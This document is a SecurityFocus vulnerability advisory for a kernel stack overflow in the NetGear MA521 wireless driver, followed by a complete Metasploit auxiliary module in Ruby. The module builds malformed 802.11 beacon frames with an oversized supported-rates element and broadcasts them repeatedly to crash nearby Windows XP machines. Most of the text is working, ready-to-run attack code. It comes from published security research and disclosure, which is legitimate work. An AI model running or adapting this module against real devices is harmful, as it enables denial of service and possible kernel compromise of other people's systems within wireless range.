source: http://www.securityfocus.com/bid/21175/info

NetGear MA521 Wireless device is prone to a stack-based buffer-overflow vulnerability because the driver fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. 

Exploiting this issue allows attackers to execute arbitrary machine code in the context of the kernel hosting the vulnerable driver. Failed attempts will likely crash the kernel, resulting in denial-of-service conditions.

Note that this vulnerability can be exploited only when an attacker is within the range of broadcast of 802.11 wireless connections.

Version 5.148.724.2003 of the MA521nd5.SYS driver is vulnerable to this issue; other versions may also be affected.

require 'msf/core'

module Msf

class Auxiliary::Dos::Wireless::Netgear_MA521_Rates < Msf::Auxiliary

	include Exploit::Lorcon

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'NetGear MA521 Wireless Driver Long Rates Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the NetGear MA521 wireless device
				driver under Windows XP. When a specific malformed frame (beacon or probe 
response)
				is received by the wireless	interface under active scanning mode, the 
MA521nd5.SYS 
				driver attempts to write to	an attacker-controlled memory location. The 
vulnerability
				is triggered by an invalid supported rates information element.
				
				This DoS was tested with version 5.148.724.2003 of the MA521nd5.SYS driver 
and a 
				NetGear MA521 PCMCIA adapter. A remote code execution module is also in 
development.

				This module depends on the Lorcon library and only works on the Linux 
platform
				with a supported wireless card. Please see the Ruby Lorcon documentation 
				(external/ruby-lorcon/README) for more information.
			},
			
			'Author'         => [ 'Laurent Butti <0x9090 [at] gmail.com>' ], # initial 
discovery and metasploit module
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['URL', 'http://projects.info-pull.com/mokb/MOKB-18-11-2006.html'],
					['URL', 'ftp://downloads.netgear.com/files/ma521_1_2.zip']
				] 
		))
		register_options(
			[
				OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 
60]),
				OptString.new('ADDR_DST', [ true,  "The MAC address of the target system", 
'FF:FF:FF:FF:FF:FF'])
			], self.class)					
	end

	def run

		open_wifi

		stime = Time.now.to_i
		rtime = datastore['RUNTIME'].to_i
		count = 0

		print_status("Creating malicious beacon frame...")

		frame = create_beacon()

		print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...")

		while (stime + rtime > Time.now.to_i)
			wifi.write(frame)
			select(nil, nil, nil, 0.10) if (count % 100 == 0)
			count += 1
		end

		print_status("Completed sending #{count} beacons.")
	end

	def create_beacon
		ssid     = Rex::Text.rand_text(6)
		bssid    = Rex::Text.rand_text(6)
		channel  = datastore['CHANNEL'].to_i
		seq      = [rand(255)].pack('n')
		
		frame = 
			"\x80" +                      # type/subtype
			"\x00" +                      # flags
			"\x00\x00" +                  # duration  
			eton(datastore['ADDR_DST']) + # dst
			bssid +                       # src
			bssid +                       # bssid
			seq   +                       # seq  
			Rex::Text.rand_text(8) +      # timestamp value
			"\x64\x00" +      	          # beacon interval
			"\x01\x00" +		          # capabilities

		# ssid IE
		"\x00" + ssid.length.chr + ssid	+

		# supported rates IE overflow
		"\x01" + "\xFF" + ("\x41" * 255) +

		# channel IE
		"\x03" + "\x01" + channel.chr
		
		return frame

	end
end
end
